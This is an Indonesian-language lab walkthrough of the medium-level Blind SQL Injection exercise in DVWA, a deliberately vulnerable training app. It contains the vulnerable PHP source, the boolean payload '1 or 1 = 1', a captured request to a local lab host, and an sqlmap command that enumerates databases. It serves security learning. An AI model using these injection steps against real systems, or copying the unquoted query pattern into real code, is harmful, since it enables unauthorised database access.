# Medium

Di bawah ini adalah *source-code* dari *Blind SQL Injection* level medium di DVWA.

```
vulnerabilities/sqli_blind/source/medium.php<?php​if( isset( $_POST[ 'Submit' ]  ) ) {    // Get input    $id = $_POST[ 'id' ];    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));​    // Check database    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors​    // Get results    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors    if( $num > 0 ) {        // Feedback for end user        echo '<pre>User ID exists in the database.</pre>';    }    else {        // Feedback for end user        echo '<pre>User ID is MISSING from the database.</pre>';    }​    //mysql_close();}​?> 
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Pada level medium ini, form yang digunakan adalah bertipe **select** dan method yang digunakan adalah `POST`.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M06eX85DrJs_up20A2A%2F-M06vkitNMqPhlnzU9As%2Fimage.png?alt=media\&token=1e1746c4-e428-4af7-8a98-59de5e986393)

Sehingga untuk merubah nilai inputannya, kita membutuhkan bantuan Burpsuite, seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M06eX85DrJs_up20A2A%2F-M06vyCn6fz4iMQo-QWr%2Fimage.png?alt=media\&token=9ed7ae63-4761-431c-97a7-266a0b05424f)

Saya mencoba membuatnya bernilai **false** dengan membuat nilai `id` menjadi '`'`'.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M06eX85DrJs_up20A2A%2F-M06w5f-tT9zG2iqvTkJ%2Fimage.png?alt=media\&token=bb709469-c68b-4bb1-8fe3-cefe5efd4938)

Dan ketika saya menggunakan *payload* berikut, maka hasilnya akan **true**:

```
1 or 1 = 1
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M06eX85DrJs_up20A2A%2F-M06wyC_0NF9ZyyKFpEf%2Fimage.png?alt=media\&token=769facf4-74d4-40b1-bb69-dedfe98d6f47)

Yup! Terdapat celah Blind SQL Injection. Kita akan menggunakan SQLMap untuk eksplorasi lebih lanjut.

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

**Pertama-tama**, tangkap *request* menggunakan Burpsuite, lalu simpan ke dalam file seperti berikut:

```bash
r.txtPOST /vulnerabilities/sqli_blind/ HTTP/1.1Host: 172.17.0.2User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 18Origin: http://172.17.0.2Connection: closeReferer: http://172.17.0.2/vulnerabilities/sqli_blind/Cookie: lang=en-US; PHPSESSID=jusi9ccuu6qfk9m3tqdf103jo2; security=mediumUpgrade-Insecure-Requests: 1i_like_gitea: 11session​id=1&Submit=Submit
```

Selanjutnya, jalankan SQLMap seperti berikut:

```bash
sqlmap -r r.txt --dbs
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M06eX85DrJs_up20A2A%2F-M06xi79Fa7jU0DwF9cI%2Fimage.png?alt=media\&token=9eec3df3-a933-4774-ac36-e6202a22b9fb)

Dan hasilnya terlihat bahwa terdapat 2 database yang tersedia.

Happy Hacking! 🍻


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